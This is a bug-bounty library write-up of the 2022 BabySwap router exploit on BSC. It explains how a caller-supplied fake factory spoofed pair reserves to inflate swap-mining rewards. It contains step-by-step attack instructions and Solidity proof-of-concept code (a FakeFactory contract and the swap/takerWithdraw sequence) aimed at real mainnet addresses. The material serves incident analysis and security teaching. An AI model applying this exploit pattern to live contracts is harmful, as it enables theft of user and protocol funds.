# BabySwap: fake factory in router mints swap-mining rewards

BabySwap router trusted caller-supplied factory addresses, letting an attacker fake a pair with inflated reserves to mint swap-mining rewards and drain BABY tokens.

- Payout: Real-world hack
- Severity: high
- Program: BabySwap
- Analysis by: DeFiHackLabs
- Disclosed: 2022-10-01
- Write-up quality: 7/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2022-10/BabySwap_exp.sol
- Library page: https://bugbountylibrary.com/r/dhl%3A20221001-babyswap
- Tags: area:web3 domain:web3 impact:funds-loss impact:integrity kind:incident platform:defihacklabs sev:high tech:evm tech:solidity vuln:access-control vuln:business-logic vuln:reward-distribution

**Target:** BabySwap Router swapExactTokensForTokens and SwapMining.takerWithdraw on BSC
**Root cause:** The router accepted an arbitrary `factories` array from the caller and used it to resolve pairs and reserves without validating it against the canonical BabySwap factory, so a fake factory could return attacker-controlled reserves. SwapMining then credited rewards based on those spoofed swap volumes.
**Steps:**
1. Deploy `FakeFactory` whose `getPair` returns its own address and `getReserves` returns `reserve0 = 10_000_000_000 * 1e18`, `reserve1 = 1`.
2. Wrap 20_000 wei BNB to WBNB and approve the BabySwap router for WBNB and BABY.
3. Call `BABYSWAP_ROUTER.swapExactTokensForTokens(10_000, 0, [WBNB,USDT], [address(factory)], [0], address(this), block.timestamp)` so the router uses the fake factory/pair.
4. Repeat with path `[WBNB,BABY]` and the same fake factory to accrue swap-mining volume.
5. Call `SWAP_MINING.takerWithdraw()` to claim the inflated BABY reward.
6. Swap the claimed BABY to USDT via the real BabySwap factory (`fees[0]=3000`).
**How found:** Likely spotted that `swapExactTokensForTokens` takes a caller-supplied `factories` array and `fees` array, meaning pair resolution and reserve reads are not pinned to the canonical factory — a parameter access-control gap enabling fake-pair reserve spoofing.
**Exploitation:** Attacker supplied a malicious factory address to the router's multi-factory swap entrypoint. The router called `getPair`/`getReserves` on the fake factory, which reported enormous reserves, so the router treated the tiny WBNB swaps as huge volume. SwapMining recorded that volume and `takerWithdraw` released BABY rewards, which the attacker sold for USDT on the real pool.
**Insight:** When a DEX router accepts a `factories`/`path` array from the caller, check whether downstream reward or accounting logic trusts reserves from that pair; a fake factory returning huge reserves can inflate volume-based rewards without real liquidity.

## Proof of concept (copied exactly from the original report)

**Fake factory contract with getPair/getReserves/swap**

```
contract FakeFactory {
    address Owner;
    IWBNB constant WBNB_TOKEN = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
    IUSDT constant USDT_TOKEN = IUSDT(0x55d398326f99059fF775485246999027B3197955);

    constructor() {
        Owner = msg.sender;
    }

    // fake pair
    function getPair(address, /*token1*/ address /*token2*/ ) external view returns (address pair) {
        pair = address(this);
    }

    // fake pair
    function getReserves() external pure returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) {
        reserve0 = 10_000_000_000 * 1e18;
        reserve1 = 1;
        blockTimestampLast = 0;
    }

    function swap(uint256, /*amount0Out*/ uint256, /*amount1Out*/ address, /*to*/ bytes calldata /*data*/ ) external {
        if (WBNB_TOKEN.balanceOf(address(this)) > 0) WBNB_TOKEN.transfer(Owner, WBNB_TOKEN.balanceOf(address(this)));
        // if(USDT_TOKEN.balanceOf(address(this)) > 0) USDT_TOKEN.transfer(Owner, USDT_TOKEN.balanceOf(address(this)));
    }
}
```

**Swap through fake factory then takerWithdraw**

```
// create fakefactory
        FakeFactory factory = new FakeFactory();

        // swap token to claim reward
        address[] memory path1 = new address[](2);
        path1[0] = address(WBNB_TOKEN);
        path1[1] = address(USDT_TOKEN);
        address[] memory factories = new address[](1);
        factories[0] = address(factory);
        uint256[] memory fees = new uint256[](1);
        fees[0] = 0;
        BABYSWAP_ROUTER.swapExactTokensForTokens(10_000, 0, path1, factories, fees, address(this), block.timestamp);
        // swap token to claim reward
        address[] memory path2 = new address[](2);
        path2[0] = address(WBNB_TOKEN);
        path2[1] = address(BABY_TOKEN);
        BABYSWAP_ROUTER.swapExactTokensForTokens(10_000, 0, path2, factories, fees, address(this), block.timestamp);

        // claim reward token
        SWAP_MINING.takerWithdraw();
        _BABYToUSDT();
```

